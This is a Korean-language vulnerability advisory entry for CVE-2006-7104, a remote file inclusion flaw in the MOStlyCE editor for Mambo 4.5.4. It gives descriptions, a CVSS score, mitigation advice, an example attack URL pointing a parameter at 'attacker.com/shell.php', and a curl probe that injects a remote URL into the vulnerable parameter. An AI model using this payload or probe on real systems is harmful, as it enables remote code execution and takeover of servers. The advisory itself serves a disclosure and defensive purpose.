🔍 CVE-2006-7104

7.5
CVSS Score
HIGH
2007-03-03
2026-04-23 00:35
✅ 완료

🇰🇷 한글 설명

Mambo 4.5.4의 MOStlyContent Editor 컴포넌트 htmltemplate.php에 존재하는 원격 파일 포함(RFI) 취약점으로, mosConfig_absolute_path 파라미터를 통해 공격자가 임의의 PHP 코드를 실행할 수 있습니다. 입력 검증이 부족하여 외부 서버의 PHP 파일을 원격으로 로드 및 실행 가능합니다.

💡 쉬운 설명

웹사이트의 설정 경로 입력 처리 과정에서 제대로 된 확인이 없어서, 공격자가 악의적인 코드를 삽입하여 서버에서 실행시킬 수 있습니다. 이를 통해 서버를 완전히 제어할 수 있게 됩니다.

🇺🇸 원문 (English)

PHP remote file inclusion vulnerability in htmltemplate.php in the Chad Auld MOStlyContent Editor (MOStlyCE) as created on May 2006, a component for Mambo 4.5.4, allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.

📍 영향받는 시스템

Mambo 4.5.4 with MOStlyContent Editor (MOStlyCE) - 2006년 5월 버전

⚔️ 공격 벡터

mosConfig_absolute_path 파라미터에 악의적인 URL(예: http://attacker.com/shell.php) 삽입 후 HTTP 요청 전송

🛡️ 대응 방법

MOStlyCE를 최신 버전으로 업데이트하거나 htmltemplate.php의 파라미터 검증 로직 구현 필요

🔧 검증 코드

원격 파일이 로드되면 예상치 못한 출력이나 PHP 에러가 나타나고, 패치된 경우 403/404 에러 또는 정상 응답 반환

Shell / Script
curl -s 'http://target/administrator/components/com_mostlycontentedit/htmltemplate.php?mosConfig_absolute_path=http://test.com/' | head -20

📊 CVSS Vector String

CVSS Vector
AV:N/AC:L/Au:N/C:P/I:P/A:P

💻 영향받는 소프트웨어

PHP